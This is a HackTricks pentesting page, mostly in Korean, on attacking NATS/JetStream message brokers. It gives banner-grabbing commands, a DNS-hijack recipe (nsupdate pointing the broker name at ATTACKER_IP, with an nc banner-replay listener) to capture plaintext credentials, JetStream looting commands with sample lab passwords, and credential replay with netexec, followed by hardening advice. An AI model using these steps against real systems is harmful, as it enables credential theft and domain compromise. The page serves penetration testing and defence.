4222 - Pentesting NATS / JetStream
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
NATS 는 간단한 텍스트 기반 프로토콜을 사용하는 고성능 메시지 버스입니다: 서버는 TCP 연결 직후 INFO { ... } JSON 배너를 전송하고, 클라이언트는 CONNECT {"user":"USERNAME","pass":"PASSWORD",...} 프레임으로 응답한 뒤 선택적으로 PING/PUB/SUB 명령을 보냅니다. JetStream은 동일한 TCP 포트(4222/tcp) 위에 persistence primitives (Streams & Consumers)를 추가합니다. TLS와 인증은 선택 사항이므로, 많은 내부 배포는 plaintext AUTH 로 운영됩니다.
- 기본 포트: 4222/tcp (클러스터된 routes는 4223+)
- 기본 배너 필드:
"version","auth_required","jetstream","max_payload","tls_required"
Enumeration
Banner grabbing / service probes
nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open nats NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}
INFO 프레임은 수동으로 가져올 수도 있습니다:
echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'
더 깊은 상호작용을 위해 공식 CLI (Go ≥1.21)를 설치하세요:
go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt
인증 실패 시 즉시 nats: Authorization Violation가 발생하므로, 의미 있는 RPC를 수행하려면 유효한 자격 증명이 필요합니다.
DNS/서비스 사칭을 통한 자격 증명 탈취
- 브로커 호스트명(예:
nats-svc.domain.local)에 대한 오래된 AD DNS 항목을 식별합니다. 해당 레코드가NXDOMAIN을 반환하면 기본 dynamic-update ACLs 덕분에 권한이 낮은 도메인 사용자가 레코드를 재생성할 수 있습니다. 배경은 AD DNS Records abuse을 참조하십시오. - 공격자가 제어하는 IP로 호스트명을 등록합니다:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
- 정식 배너를 한 번 미러한 다음, 연결되는 모든 클라이언트에 재생합니다. NATS는 처음 보는
INFO라인을 신뢰하므로, 우리는 단지 그것을 listener를 통해 pipe하면 됩니다:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
- 내부 클라이언트가 하이재킹된 이름을 해석하자마자,
user/pass쌍과 여러 텔레메트리(클라이언트 이름, Go 버전, 프로토콜 레벨)를 포함한 평문CONNECT프레임을 전송합니다. INFO 배너 이후의 어떤 것도 필요하지 않기 때문에, 심지어nc만으로도 비밀을 수집할 수 있습니다. - 더 긴 작업에서는 공식 서버를 로컬에서 실행하세요 (
git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE 로깅은 이미 사용자명을 표시합니다; redaction helper를 제거하거나 Wireshark로 트래픽을 스니핑하면 전체 비밀번호가 드러납니다.
JetStream looting & password hunting
일단 자격 증명(예: Dev_Account_A)을 획득하면, CLI 컨텍스트로 저장해 재입력하지 않도록 하세요:
nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
JetStream 발견은 일반적으로 다음 패턴을 따릅니다:
nats account info --context mirage # quotas, stream count, expiration
nats stream list --context mirage # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage
Streaming teams는 자주 logs.auth와 같은 subjects에 인증 이벤트를 기록합니다. 개발자가 raw JSON을 JetStream stream에 저장하면, payloads에 plaintext AD usernames and passwords가 포함될 수 있습니다:
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
Retained secrets can then be replayed against Kerberos-only services using netexec smb DC01 -u USER -p PASS -k, enabling full domain compromise.
하드닝 & 탐지
- Enforce TLS (
tls,tls_required, or mTLS viankey/creds). 암호화가 없으면 INFO/CONNECT leaks credentials to anyone on-path. - Pinpoint who can update DNS – 서비스 레코드를 전담 계정에 위임하고 Event IDs 257/252를 감사하여 중요 호스트명을 보호하세요. scavenging alerts와 결합해 누락된 broker names가 조용히 re-claimed되지 않도록 하세요.
- Disable credential logging. subjects에 게시하기 전에 secrets를 scrub하고, JetStream retention/age 제한을 설정하며
deny_delete=false는 신뢰된 운영자에게만 적용하세요. - Monitor for banner anomalies – 반복되는 짧은 연결, 인증 타임아웃, 또는 승인된 템플릿과 일치하지 않는 INFO 배너는 spoofed servers를 시사합니다.
References
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks

